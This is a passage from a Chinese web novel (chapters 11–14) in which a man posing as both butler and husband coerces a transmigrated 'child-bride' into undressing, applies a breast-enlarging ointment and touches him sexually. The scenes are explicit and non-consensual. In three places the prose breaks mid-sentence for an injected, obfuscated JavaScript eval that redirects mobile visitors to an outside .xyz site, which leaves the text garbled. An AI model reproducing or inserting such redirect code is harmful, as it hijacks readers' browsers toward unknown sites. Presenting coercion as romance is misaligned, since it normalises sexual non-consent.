一步三回头,拖拖拉拉地来到管家门外,虽然对于昨晚男人帮了自己的行为表示很感激,但是实在当面说不出来感谢这两个字。 陆徊深吸一口气,不情不愿地敲了敲门。 “进。” 简明扼要,不带丝毫情绪,总觉得自己不按照他说的话行动就要挨骂。 陆徊缩缩脑袋,鼓起勇气走进去,看到坐在桌子后的严管家。 “昨天他都碰你哪里了。” 男生惊愕抬头,只见严珩驰手上东西不停,又补了后半句话。 “去把衣服脱光,等会我检查。” “我觉得不用……昨天他还没来得及做什么。”陆徊极力反对,一步步往后退,恨不得马上拉开门跑路。 “或者你想少爷晚上回来的时候看到你一身痕迹?” 看得因为这一句话马上老实多了的陆徊,严珩驰微微眯起了眼。 这不是他第一次感觉到陆徊对这两个身份的区别对待。 努力压下心头那点不适,严珩驰停笔,看向刚把上衣脱去的男生,目光在对方留有红痕的腰侧顿了顿,拉开了右手旁的抽屉。 “过来我给你上药。” 假好心。 陆徊心里暗暗诽谤,还什么“可以去那边脱衣服”,最后不还是要到他面前? “疼就出声,我会轻一些。” 闷闷应一声,看不到自己后腰痕迹的陆徊温顺地半趴在书桌上,被男人手上冰冷的温度冻得一激灵。 “好了,起来吧。” 似乎没想到这么轻松就结束了,陆徊长出一口气,刚想穿上衣服,就被男人拽住了手臂动弹不得。 “你这里,发育太迟缓了。” 一脸震惊地低头看向严珩驰指着的位置,陆徊恨不得揉揉眼睛,以为自己听错了。 谁能告诉他,一个男的怎么才能让胸变大? “从今天开始,穿环和上药,你选一个。” 11. 第 11 章 陆徊一蹦三尺高,满脸惊恐,差点以为自己耳朵出问题了。 这说的还是人话吗? 【管家不会太为难你。】 昨晚男人说的话信誓旦旦,现在陆徊开始沉思,他们两个人中间肯定有一个人对“为难”这个词的理解有问题。 “我以为现在应该不是封建社会。” 顿时也顾不上自己还没穿衣服,陆徊盯着桌上那本台历看了又看,怀疑自己到底是重生还是穿越。 “要不然你还是把我卖了吧,你这个我真伺候不起。” 努力没让更多脏话蹦出来,陆徊一脸麻木。亏他还觉得重获一次新生是件好事,看来凡事都有代价,当时也没说童养媳的意思得这么到位啊? “怎么,在你丈夫面前就百依百顺,在我面前就这种态度?” 话里的妒恨掩藏得并不好,可惜用错了对象,某人听不懂。 陆徊一脸懵然,拍案而起。 “今天就算换成谁说也不可能同意啊!你们这是正经童养媳吗?怎么一晚上过去走向突然就歪了?” 原主那诡异的一尺白绫自缢突然有了更清晰的解释。 陆徊急得心里的小人团团转,怀疑自己是不是穿进了某本带颜色的那什么小说里。 “总之,总之我不可能答应的,退货吧,我收拾收拾东西就走……” 狗狗祟祟地往后缩了缩,陆徊从桌子上跳下来转身就跑,跑到门口,气喘吁吁地拧了两下门把,才发现被锁得严严实实。 身后有脚步声传来,很慢,却像死神在逼近。 陆徊苦着脸,抖抖嗦嗦转过身,看到面前的严珩驰,表情难看得快要哭了。 “咱们打个商量好不好,比如给我一点选择权,不要这个……” “嗯,给你选择权了。”严珩驰早已戴好了一次性手套,冲陆徊晃晃手上的银针和药膏。 “选这个还是那个?” 眼看着这一劫是躲不过了,陆徊咬咬牙,大脑飞速运转,赶紧选了个听起来起码不疼的。 “那你还真是会挑。” 并不打算告诉陆徊药效到底多强,严珩驰把趴在床上直哼哼的人捞过来,像翻过来一只白肚皮的猫,拍了拍男生的脸。 “胸挺起来。” 陆徊被吓得紧紧闭着眼,只依言行动。长长的睫毛抖啊抖,寒毛直竖,身体绷得紧紧的,大气都不敢出。 最先感受到的还是凉,只是这次的接触点太过诡异,被人捏着一点小东西胡乱折腾的感觉实在太过无措。 加上严珩驰又刻意加重了力道,忍了又忍,终于没憋住的陆徊在床上蹭,想把男人的手甩开,努力控诉得很小声。 “你掐得我有点疼……” “嗯,很快就不疼了。” 严珩驰敷衍地回道,手下动作停了停,声音突然离远了。 是不是结束了? 陆徊悄悄睁开一只眼观察动静,只来得及捕捉到男人在书桌上拿了根笔向他走来,赶紧又闭紧眼,生怕被严珩驰发现。 结果胸前传来的触感差点让他叫出声。 不知道是什么材质的东西,柔软多毛,在他身上拨动,随着严珩驰的力道变换,时不时还有几根本来绵柔的毛发直挺挺地立起来,几乎要戳进柔软的内里。 “等会儿等会儿,你抹个药需要这么麻烦吗!” 被弄得浑身发痒又难耐,陆徊赶忙叫停,男人充耳不闻,只是又拍了拍他的腰,示意他不许乱动,继续挺直。 毛刷按在上面的力度时大时小,偶尔顺时针画圈,有时又故意提起来大半部分,只留一丁点毛尖戳弄。 严珩驰下手很稳,缓慢又均匀,一丝不苟地涂抹打圈。笔尖的毛每一次扫过,都掀起一阵尖锐的酸痒。 几乎抖成了筛糠,陆徊死死咬着枕头,生怕自己一个不察,流出来点什么不该说的声音,腰腹不住起伏,像淋了一层汗津津的亮泽。 “快、快好了吗?” 不知道是不是心理作用,明明不可能药效发挥这么快,陆徊还是觉得自己那里比之前大了一些,似乎多出了几分重量…… 表情微妙地劝自己这一定是错觉,心底还是慢慢涌上一阵恐慌。 不能再拖下去了,今天就行动。 好不容易捱过了涂药的过程,陆徊躺在床上长吁短叹,看着天花板,在心里画圈诅咒这个管家快点被开除。 “好了。” 一骨碌从床上爬起来,陆徊跑得飞快,还不忘抓走刚被扒下来的上衣,浑身上下写满了落荒而逃四个字。 不打算告诉陆徊涂一次的持续性到底有多长,严珩驰重新坐回了书桌前,嘴角挂上淡淡一丝笑,像是胜券在握。 另一边的陆徊可没心情管男人想什么,他正偷偷摸摸在后院里一寸寸摸墙。 墙头太高,怎么也跳不过去,他只能退而求其次,趴在地上看看哪里有个豁口,好让他逃跑。 上午的光线还算可以,功夫不负有心人,终于让陆徊摸到一个洞,试了试距离,正好可以穿过这堵墙,很好,就是这个了。 在煎熬中吃完午饭,陆徊下午又偷偷跑到庭院里,希望能找到第二条紧急通道。 看来这次运气并不好。 躲在树丛里努力摸了半天只摸到一堵硬邦邦的墙,只好又回到上午找到的位置,陆徊试了试,头进去后还能空出来一截。 已经迫不及待跑路,陆徊根本没有耐心再测量具体数据,一狠心,撸起袖子就往里面钻,前面通过得很顺利,除了狠狠蹭了一下前胸感觉有些怪异之外,别的都还好。 “一鼓作气——” 已经看到了墙外风景,来不及庆幸,陆徊赶紧往外爬去,结果怎么都没想到的事情发生了—— 他卡住了。 还不偏不倚地卡在了腰的位置。 晃了晃腰,又努力向前几分,陆徊累得直喘气,很快他就发现,比刚才箍得更紧了。 “这不对吧……我吃胖了?” 陆徊嘀嘀咕咕,心一横,干脆缓慢移动着往后爬,打算偷偷摸摸退出去,假装一切无事发生,逃跑的事从长计议。 他想得很好,然而还没爬出来几厘米,就听到了窸窸窣窣的脚步声,惊出他一身汗。 内心祈祷着千万别被发现,结果越怕什么越来什么—— 在感觉到腰侧覆上一只手时,陆徊居然诡异地松了口气,也顾不上什么面子了,压低声音,晃晃腰,小声求对方把他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978237|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拽出来,事成严家必有重谢。 事实证明他还是低估了自己的倒霉程度。 阴沉至极的声音在他身后响起,实在太过耳熟。陆徊头一歪,暗叫一声完蛋。 “陆徊,你最好给我一个解释。” 逃跑计划就这样败在了第一步上。 蔫头蔫脑被严珩驰拖回去,陆徊一路上无精打采,身上不是泥就是土,还有几片草叶子,被一把丢进了房间里,要求洗干净再出门。 “真神奇,我还以为他会罚我抄家规之类的。” 天色已经不早,然而早没了昨晚期待丈夫回家的心情,陆徊对着镜子里的自己发呆,摘走头上的一片枯叶,慢慢把自己沉进水里,咕嘟咕嘟吐泡泡,假装自己是一只鱼缸里的螃蟹。 浴缸容纳三四人也绰绰有余,水面下仍然开着水流保持水温,陆徊百无聊赖地靠在池边,总觉得胸前怪怪的。 平日里舒适柔和的水流今天似乎格外有存在感,水波一层层地掠过他的肌肤,麻痒感逐渐累积,终于到了他无法忽视的程度。 “见鬼了,今天的水太烫了吗?” 一头雾水地从池子里站起来,陆徊左看右看,没能找出来什么问题,干脆也不再多想,直接披了件浴巾往外走。 水痕滴滴答答流了一地,顺着男生的身体往下蜿蜒出清亮的湿痕。 “怎么不擦干头发再出来。” 被坐在沙发上的人吓了一跳,陆徊瞳孔一缩,听出是谁的声音后才迟疑着嗯了一声,远不见昨天的亲昵。 “不是说了晚上在房间里等我,怎么今天没有来?” 黑夜中也看不清男人的轮廓,已经没有了探究对方长相的欲望。满心只有逃跑的陆徊敷衍地回了一句没注意时间,准备换件衣服,经过对方时却被拽住了手。 那一瞬间的接触似乎有些熟悉。 但是男人松开得很快,似乎是怕拽疼他,陆徊也就打消了那一丝疑虑,叹口气,先安抚起自己这个便宜丈夫。 “下午在庭院里种花弄得太脏了,就忘了去等你,原谅我一下好不好。” “种的什么花?” 撒一个谎就需要无数个谎来填,陆徊绞尽脑汁,憋出一句想种粉玫瑰送给你。 并没有点破现在不是种植玫瑰的时节,男人好脾气地笑了笑,从陆徊身上拿过浴巾,细心地给他擦起头发来。 “哪儿用得着麻烦你。” 头发又不长,陆徊使劲晃晃脑袋,抖出一圈水,差不多就够了。 洋洋得意地捋了一把自己已经半干的发尾,陆徊扬起下巴,没注意到一滴水顺着脖颈流下来,恰好滴在了今天抹药的那个位置上。 “嘶?” 刚才在浴池里的异样感再度涌上,甚至比上次强烈得多,刻意忽视了几次的刺痒来势汹汹,陆徊瞬间软了腿。 一头栽进男人怀里。 “怎么回事,哪里不舒服?” 根本来不及回答对方轻柔地询问,陆徊小声喘着气,脑子被热气蒸腾得一片浆糊,在黑暗中行为也变得格外大胆。 他胡乱地捉住男人的手往自己身前放,大小正好一手覆住。 “痒、好难受……你揉一下,揉一揉就好了……” 12. 第 12 章 不对,他刚在说什么啊! 男人身上的热度唤醒了几分陆徊的神智,他一把甩开捉住男人的手,脸烧得通红。 “哈哈你听错了……嗯你一定是听错了,我好得很,一点事都没有……” 他和这人才认识几天,真是昏了头了。 身上的异样感愈发明显,好像被什么东西咬住一般,沉沉地往下坠。陆徊小心翼翼地从沙发上下来,弓着腰一步一挪,努力不让自己的模样显得太过狼狈。 “等一下,你在发抖。” 又被男人拽过去,陆徊有苦难言,想不明白怎么大晚上对方还能观察得这么仔细,只能胡乱地嗯嗯两声,打算敷衍过去。 “哪里不舒服,这里?” 下意识一巴掌拍走男人伸过来的手,陆徊仿佛一只受惊的兔子,躲得老远。严珩驰只能虚虚扶着陆徊的腰,动作十分规矩,停在那里一动不动,耐心地等待男生开口。 “我……” 放置太久不管不顾,酸胀感已经升级成了一抽一抽的疼,张牙舞爪地彰显存在感。陆徊哆嗦着嘴唇,小声哼哼,怎么也张不开口。 “你,你把手稍微往上放一点。” 细若蚊蝇的指令从怀里发出,严珩驰把人往自己怀里搂了搂,故意只移了一点,状若疑惑地在陆徊肋骨的位置按了按。 “这里疼?那可能是肺部感染,最近摄入太多过敏物质了吗?” “不是那里疼,是——哎呀你再往上一点!” 被男人笨拙的动作急出一头汗,又不好意思主动开口说。陆徊只能疯狂暗示,一点一点蹭,努力把自己往对方手里送。 “是这里吗?” 严珩驰明知故问,俯身在人耳边说话。眼看着脸皮薄的陆徊快要被他逗哭了,才往上抬手轻轻按了两下。 “你是不是笨!呜,等、等一下……” 来势汹汹的痒意在男人的手里被处理得十分妥善。陆徊蜷着身子,想说什么又组织不出语言,脑子一片浆糊。 怎么会这么舒服…… 有人看起来还端端正正坐着,其实魂已经飞了。 安静的房间里,两道平稳的呼吸声交织在一起,如果不细看陆徊身上那只手,画面似乎还弥漫着一种怪异的温馨。 陆徊背部挺得笔直,生怕让男人想歪。只有被揉得舒服了,才会傻乎乎地摇一下脑袋,在严珩驰怀里哼哼唧唧地拱来拱去,扒着人不放。 几分钟过去,身上的热度不减,但是力道太过轻柔。有些受不了男人这种过于温吞的处理方式,陆徊深吸一口气,干脆破罐子破摔,戳了戳对方的胳膊,示意对方低一下头。 “还、还是不太舒服,你稍微、重一点……也没关系。” 刚洗完澡的陆徊体温并不低,扶在男人脸侧的手轻轻的,带着一丝迫切。他讨好地蹭了蹭,小心翼翼地提出自己的要求。 严珩驰离他很近,把陆徊眼里那点难耐和渴望看得清清楚楚,抽出了手。 “哎你等等、我……” 人形抚慰剂没了,陆徊急得团团转,又不敢催。 结果还没说出口的后半句话被男人突然起身的动作打断,他愣愣地趴在对方怀里,下意识抬腿环住了严珩驰的腰。 “沙发太小了,你躺在床上更舒服一点。” “好心”把人抱到了床上,陆徊攀着男人的肩,黑暗中对方的呼吸清晰可闻,模模糊糊只能感觉到有人搂着自己的腰,轻轻拍了拍他的背,像是一句不言明的安抚。 “谢,谢谢你……” 其实只是按摩一下,沙发完全够用啊。 嗫嚅着道谢,陆徊没有多想,只是没有了男人抚慰,又开始泛起细细密密的痒,很轻,但是存在感太强,没办法忽视。 两人距离太近,一举一动都太过明显,他只好悄悄斜着身子,一点一点在被子上拱,一边蹭还要一边注意着不被男人发现,陆徊后悔万分,只想打死刚才嘴贱的自己。 “现在好点了吗?” 揉肿了都没解决问题,陆徊怏怏应了一声,躺在床上装死。 “还是不舒服?” 严珩驰明知故问,看着仍然埋在被子里一动不动的陆徊,状似无意按着人往下一压。 还没收回来的指尖重重划过去,大脑被刺激得一片空白,陆徊急中生智,赶紧咬住枕头才没让那一声怪腔怪调的喘息飘出来,回过神时已经把枕套咬脱丝了。 ……人在困境时是真的能爆发潜力啊。 吓出了一身的汗,死死憋住没露出一点声音的陆徊欲哭无泪,偷偷摸摸把枕头掉换一下正反,把罪证藏得严严实实,这才想起来找男人算账。 “你干嘛刚才突然撞我!你、你……” 开口声音就软得可怜,气势全无,一出声就是一副被玩狠了的可怜样,话都说不清,他干脆也不吭声了,木着脸沉默。 心里则是越想越委屈。 “都怪你那个管家!” 肯定被掐肿了,酥麻感根本无法忽视。陆徊恶从胆边生,仗着晚上两个人谁也看不见谁,指着男人的鼻子骂。 “我就没有见过这么恶毒的家伙!你们居然还留着这种人做管家!他今天差点就想给我刺个对穿……” 越想越后怕,一想到自己现在可能还恢复不过来的身体,更是心里难受,越想越气,眼泪哗啦啦地流。 “我明天就把他调走,不让他有机会再出现在你面前。” 实际上只是换个别墅住的严珩驰:拿捏一只陆徊轻而易举。 “那我、那我这里……” 哭得脸都花了一半,心虚地看了一眼男人的衣服,确定没看到透明拉丝的鼻涕泡,陆徊这才放下心来,捧着自己的胸呆呆发问。 视线扫过陆徊双手挤出来的那道不明显的沟,严珩驰眉头直跳,咬了咬牙才把下腹的冲动压住。 还好他理智尚存,只是轻咳一声,轻轻拍了拍陆徊的头,把人安抚好。 “这几天你睡前过来找我,先按摩缓解一下,后面再视情况吃药。” “哦……” 陆徊怏怏不乐地揪了一下,总觉得真的比早上大了不少。 “别乱碰,过来,我给你贴上创可贴。” 乖巧地挪到床头,看着男人在里面翻找,陆徊打了个哈欠,感觉自己有点困了。 本来就是为了睡觉才洗澡的,现在倒好,又出一身汗。 陆徊托着下巴发呆,直到听到包装撕开的声音,才略略一抬眼皮望过去。 “来。” 明明语气缓和,却听得陆徊心头一跳,他戚戚然地凑过去,低着头看男人手里的东西,苦了一张脸。 “一定要现在贴吗……明天不也一样吗?” “那你晚上又不舒服怎么办?能忍住自己不碰吗?” “还不是都怪你,就是因为你他才会给我抹这玩意的。” 越想越气愤,干脆在严珩驰面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978238|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把严管家狠狠吐槽了一顿。 心理变态,自私残忍,身有隐疾等等等等,陆徊能想到的词儿都说完了,结果不见男人附和,皱了皱鼻子,不太高兴。 而已经被打上阳痿标签的严珩驰黑着脸,还要努力挤出来一个笑容哄人,说着违心的承诺。 “好了,我会把他赶出严家,你在这里安心居住就好,长辈那里我来应付。” 捉住乱动个不停的陆徊,把东西依次贴好,又安抚了一下自己情绪不高的童养媳,严珩驰这才离开房间,努力为明天自己的“离开”做准备。 一觉睡醒,陆徊还记着昨天说的粉玫瑰,反正也无事可做,他换了套衣服,溜溜达达来到花园里,努力分辨着哪里是玫瑰花田。 绕过一小块苗圃,眼前出现一片粉色的花田,在蓝天的映照下,十分漂亮。 “看来就是这里了。” 撸起袖子,陆徊兴致勃勃地就要去摘两支,结果一个不察,手上就多出一道口子。 “怎么这么不小心?” 正在陆徊对着自己手上那道几乎看不见的伤口发呆时,身后突然传来了熟悉的声音,他一惊,欢喜回头,身后却不是他以为的丈夫,而是那个讨人厌的管家。 “……啊?是你?” 本想早点过来假装离开严家,现在严珩驰自知失言,只好硬着头皮往下演。 “陆徊,你如果是故意受伤躲避惩罚,那可就想错了。”他清清嗓子,努力不让自己露出破绽,“偷摘鲜花两支,罚抄家规十遍。” 那个死人脸管家丢下这句话就走了,陆徊没多想对方前后不一致的言行,只是有些愤愤不平,脑子转啊转,想到一个好主意。 昨天男人给他留了联系方式,陆徊翻出来那串数字打过去,开门见山,直接询问严管家的手机号码。 “176……怎么了?” 还躲在二楼书房里处理文件的严珩驰对着屏幕打了个手势,示意会议先暂停,自己则转过头去,把自己私人号说给了陆徊。 “哎呀你好好上班就行了,不用管我。” 急匆匆挂了电话,三两下找出来相亲网站,陆徊拿着新到手的手机号,直接选择了注册新用户,还特地备注了加急,想要一周之内脱单。 严管家总是冷着一张脸可能就是因为单身太久,有时间还是好好学习一下和别人怎么相处吧。 新用户引起的水花并不大,陆徊看得心里着急,干脆一不做二不休,点开推流投放功能,给严珩驰挂上了最大的排名榜。 此时还不知道陆徊拿着他的钱在网上找相亲对象。严珩驰背后突然爬上一层凉意,他警觉抬头,看了看周围,一切安全,只能归结于自己有些多疑。 叮—— 只把这个手机号给过一个人,严珩驰自然地接过电话,还没听到陆徊找他有什么事,先听到了一个粗犷的男声,说想要认识一下,方便后续见面。 见面?见什么面? “你打错电话了。” 满腹疑虑地挂断,严珩驰刚要继续,又是一串铃声响起,这次换了个女声,问他标明的身高是真是假。 终于意识到有些不对,严珩驰黑着脸放下手机,指示一旁的助理去查明真相,接到文字版报告的时候,他的手都是抖的。 陆徊这个小崽子,用三百万把他投到了几十个相亲网站上,还挂了红名放在了最显眼的位置。成功为严珩驰打出了公司成立以来,开销最大的一波广告。 13. 第 13 章 严珩驰踏入家门的时候,陆徊刚三口解决完一个小蛋糕,这时正对着自己身前的两处创可贴发愁。 由于对男人的话太过信任,陆徊老老实实贴了一晚上,甚至白天都一动未动,听话到极致,结果就是上面的胶几乎和皮肉黏连在了一起。 撕扯时只要稍加用力,就疼得他直抖,折腾了两三下也没解决问题,陆徊干脆在床上瘫成一张饼,努力把自己卷成一条海豹,唉声叹气地滚来滚去。 白天用了不少打点费才把自己联系方式从网站上撤下来,严珩驰黑着脸推门而入,话还没说出口,先看到了这一幕,脚下如同生了根,怎么都走不动了。 “哇,你回来啦!” 听到开门声,陆徊抬头望去,看到隐在黑暗中的男人,顿时也顾不得自己没穿上衣,从床上跳下来就往人身上扑,搂着对方脖子不撒手,亲亲热热地唤他。 “你吃晚饭了吗?有没有看到我特地为你留的竹荪炖鸡汤,阿姨的手艺好好,我喝了一碗半!” 少年暖融融的吐息在耳边打转,像只小鸟叽叽喳喳,话题跳跃得很快,上一句还在说今天的晚餐,下一句就跑到了他今天去花园特地摘回来的玫瑰上。 “我看家里没有花瓶,就干脆把枝剪了围成一圈,放在餐桌上了。”伸手在男人眼前努力比划了一下大小,陆徊对自己的手艺很有信心,“你快去看吧,我觉得超有特色!” 从进门后就一句话都没说过的严珩驰张张嘴,沉默了半晌,应了一句好。 陆徊高高兴兴地从他身上跳下来,一溜烟儿又跳到了床上,好像才刚想起来自己没穿什么东西,往被子里一裹,蒙着头,瓮声瓮气地赶他出门。 “快点去吃饭,快点快点,我刚才发现一个很不错的电影,等你回来我们一起看。” 常年没什么人气的庄园似乎因为陆徊的加入多出了几分别样的色彩。 在没有完全掌握任务者出现的原因时,他在忙着对抗剧情命运;后来挣脱了原有剧情发展,又热衷于扩张自己的事业。 已经很久没有被人这么亲近过,严珩驰慢慢关上门,看着歪在床上冲他摆手的陆徊被门缝逐渐吞噬,突然有种对方要弃他而去的错觉。 “砰!” “这么快就吃完了?你……” 还没把疑惑说出口,就被快步走上前的男人搂进怀里,唇角覆上一层冰凉的温度,慢慢舔舐着逼近,一点点撬开了微张的唇。 “唔——” 不知道男人今天是受了什么刺激,感觉亲他亲得有点过分热切。 差点以为自己要被啃噬殆尽的陆徊被吻得喘不过气,只能用力推了又推,示意对方放手。 哦,放嘴。 “我在外面吃过饭,桌子上的花也注意到了,现在只想看你。” 低语弥散在黑暗中,陆徊的脸腾一下红个彻底,他愣愣地被对方抓住手,往男人脸上贴,之前想说的话忘得一干二净。 只能不轻不重地抱怨一句。 “那你也应该提前说一声啊……哪儿有一上来就亲的,感觉嘴唇都咬肿了……” 苦着脸舔舔自己破了皮的下唇,疼得轻嘶一声。陆徊怕人不信,干脆反握住男人的手往自己嘴边贴,轻轻凑过去蹭他的掌心。 “你看,这里破皮了,还有这里……感觉肿得不太对劲,哎呦你轻点,疼呀!” 条件反射般打了一下严珩驰的手,陆徊气呼呼地把人往外推,感觉这家伙就是来添乱的,总是故意在他疼的地方使劲按。 “哪里疼,我帮你吹吹。” “走开走开,不要你了。” 陆徊嘀嘀咕咕,本想背过身不理人,又想起来是这人给自己贴上的创可贴,又不情不愿地靠在对方怀里,指着自己身前两处地方,皱着脸要他解决。 “你看你整的好事,现在我撕不下来了,说,怎么办吧?” 严珩驰喉头一紧,几乎要控制不住自己的手,他搂着陆徊的胳膊一紧再紧,许久才长长吐出一口气。 “用水沾湿就会好很多。”把陆徊放在床上,男人转头去拧了条湿毛巾,顺手拿了酒精湿巾过来,两人面对面坐着,陆徊才后知后觉出一点羞怯来。 一定是总不开灯的缘故…… 他垂着头胡思乱想,看不见的情况下很自然地就这么做了,但只要一想到对方还一丝不苟地穿着西装,而他只穿了条底裤,顿时尴尬得手都不知道往哪儿放。 “等会儿,等会儿,你告诉我怎么做,我自己来好了。” “你看得见?” 严珩驰反问得毫不客气,陆徊愣愣点头,附和着泄了气,直到对方的手摸上来,他才琢磨出来一点不太对劲。 不是,同样的环境,怎么就他看得见自己看不见了? “哎你等等……” 话音未落,胸口就是一疼,严珩驰动作极快,手下微微用力,趁着陆徊神游天外的时候狠狠一扯,黏了一晚上的创可贴就撕了下来。 只是代价是昨晚还好端端的地方,现在已经肿成了一团。 轮廓似乎也比之前看的要大了许多。 “喂!!” 疼得眼泪都飙出来,陆徊一边抹眼泪一边还要腾出来一只手捂着胸口,手忙脚乱,成功把自己弄得乱七八糟。 “手拿开,我给你拿酒精擦一下。” “不要,不要你了……” 怎么也没想到那里能敏感成这样,疼得根本止不住眼泪。陆徊把自己缩成一团,打开了男人伸过来的手,偷偷摸摸背过去,努力往上捧着给自己吹气,辛苦极了。 严珩驰也不说话,把哭得身体直颤的人拥进怀里,轻柔地撕开酒精棉巾,往上贴着擦了擦。 还没从上一场痛楚里逃出来的陆徊僵住了身子,只觉得一股凉意从顶端侵入,呆呆顿了两秒,他被冻得一哆嗦,慌不择路地挣开男人的怀抱,就想往别处跑。 “都说了不要你碰了!” “换你自己来,那估计贴到发炎了都撕不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978239|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去。” 很难说其中有没有故意的成分,严珩驰捉着男生的后颈不让人乱蹿,捏着微微起伏的地方盯住看了看,又开始往另外一边下毒手。 “可是真的太疼了,你轻点嘛。” 看出来今晚逃不过这一劫,陆徊欲哭无泪,只能抱着男人的脖子笨拙地撒娇,试图软化对方。 “长痛不如短痛,乖一点。” 如法炮制把另一边的创可贴也撕了下来,看着陆徊已经双手交叉抱着胸死不撒手的样子,严珩驰叹口气,凑过去慢慢亲掉他的眼泪,把人安抚了好一阵,才让陆徊从那副严防死守的架势里退出来。 “得疼多久啊,我不想再拿湿巾消毒了。” 感觉看电影的好心情没得一干二净,陆徊跪坐在男人腿上,无意识地在严珩驰背上画圈圈。身前的位置还是疼,只是刚才放下狠话怎么说都不让碰了,现在疼只能硬忍。 悄悄咪咪趁着男人不注意又换了个姿势,觉得怎么靠都不舒服,陆徊晃了一下腰,又往上搂了搂严珩驰的脖子,总觉得对方的外套磨得他不舒服。 “再动你就要送进我嘴里了。” “嗯?” 叽里咕噜说什么呢,疼着呢,听不懂。 心安理得偎在男人怀里,感觉没有了管家空气都是香的,陆徊美滋滋地想着明天要在庄园的东南角试试那个大温泉,没注意严珩驰搂在他腰间的手愈发紧箍,直到被带着一同倒在床上,他才反应过来好像刚才错过了一句话。 死死抓紧了严珩驰的肩还是克制不住地发抖。胸口被温热的吐息撩拨着,好像整个人都被含进唇间细细品尝,奶油蛋糕的那一点草莓尖尖被打着转舔舐,几乎要吻走那一层薄薄的外层,直接逼出最甜美的汁液来。 “不行、你,你停一下……” 陆徊虚虚扶着男人的肩膀,被刺激得不知道该推拒还是挽留,只得茫然地抓皱了严珩驰的衣服。 吮吸的力度突然一重,慌得他身子跟着前倾,生怕被真的咬出来点什么东西——有毛病吧,男生再怎么用力吸也不会有奶流出来啊! 几乎整个人都埋进去的严珩驰对陆徊的抱怨充耳不闻,嘬了又吸,直到头上挨了重重一拳,才终于抬起了头。 “你真是脑子有病!真是的,一嘴酒精味儿。” 还没忘了刚才湿巾上刺鼻的酒精味道,陆徊心有余悸,缩了缩脑袋,还是气不过,又锤了男人一拳,叫他放自己下来。 “松手!我要去洗澡,你舔得我身上都好黏腻腻的,真讨厌……” “马上抱你去。” 虽然还有些意犹未尽,但很明白见好就收这个道理。严珩驰连哄带骗地抱着人进了浴室,暖黄色的灯光感应到有人进入,一侧自动打开,留出足够的光线看清周围。 陆徊还正一脸不忿,鼓着脸被男人抱下了床,现在被灯光刺激得眼睛微红,然而透过薄薄的泪水,他抬头,看到了镜子里的自己。 和他早上刚见过面的严管家。 14.第 14 章 好像睡了很长很长的一觉。 陆徊盯着前面的液晶大屏,又望望窗外的江景,怎么也没法接受这是一间病房。 “所以你的意思是,我那天在偷偷溜出去后,玩赛车刹车失灵出了事故,昏迷了三天?” 艰难地向胖蜥蜴又确认了一遍,得到对方肯定的回答后,陆徊摸摸脑袋,怎么也想不明白自己居然会出车祸。 “不太可能啊,我最怕的就是……” 顿了顿,想不明白干脆不想了,陆徊点点蜥蜴光溜溜的脑袋,压低声音问他。 “那什么能量值的进度多少了?我们还需要在这个世界待多久?” 【祖宗!你才来几天啊就想着走了?】 蜥蜴想躲开陆徊乱摸的手,意外地发现被撸得很舒服,干脆停在他指间让人挠,不情愿地看了一眼数据表。 “一半都没有呢,你可别想那有的没的了。” “怎么这么少,是不是那个未婚夫不行啊。” 陆徊发誓自己没有别的意思,他只是好奇这个转化率的问题,结果话音刚落,就看到刚才话题里的主人公站在门口,表情难看地盯着他瞧。 坏了,也不知道听到多少。 房内一片死寂,安静得陆徊都有点躺不住了,他轻轻咳嗽一声,抓着蜥蜴的尾巴把它按在被子里,生怕被严珩驰发现什么。 “醒了?” 等到严珩驰走到他面前,才看到对方手里提着一袋东西,陆徊坐在床上探头探脑,眼巴巴地看着,想下床又顾及手上的吊针,只是乖巧地点点头。 “为了你的小情人从宴会里偷偷逃跑,半路出车祸的感觉怎么样?” 陆徊张大嘴,眨眨眼,又眨了眨眼,还以为自己耳朵出了问题。 “你在说什么?我不过是接了朋友的一个电话去试车而已!不要给我造谣!” 看着陆徊揪紧了被子,气得满脸通红的模样,严珩驰紧紧盯着他,试图从对方脸上找出来一点说谎的痕迹。 昨天陆徊看到了他的脸,似乎是刺激过大,指着他的鼻子你你你了半天也没说出来一句话,还没等严珩驰想好怎么解释,对方就气晕了。 连夜把陆徊送进医院做了各项检查,好消息是身体非常健康,坏消息就是—— 看来是独独忘记了做严家“童养媳”的这段记忆。 心中松了一口气,说不上是庆幸还是失落,严珩驰撇开眼,把带过来的餐食一点点布置好,转身拿着筷子去消毒,陆徊望着男人远去的身影,总觉得对方的步伐有些说不出来的沉重。 也好……起码总比解释管家和未婚夫是同一个人强。 等严珩驰收拾好心情,回来就看着陆徊翘首以盼等着开饭的模样,心下不禁感到几分无语,下意识就想笑话他这个小馋猫。 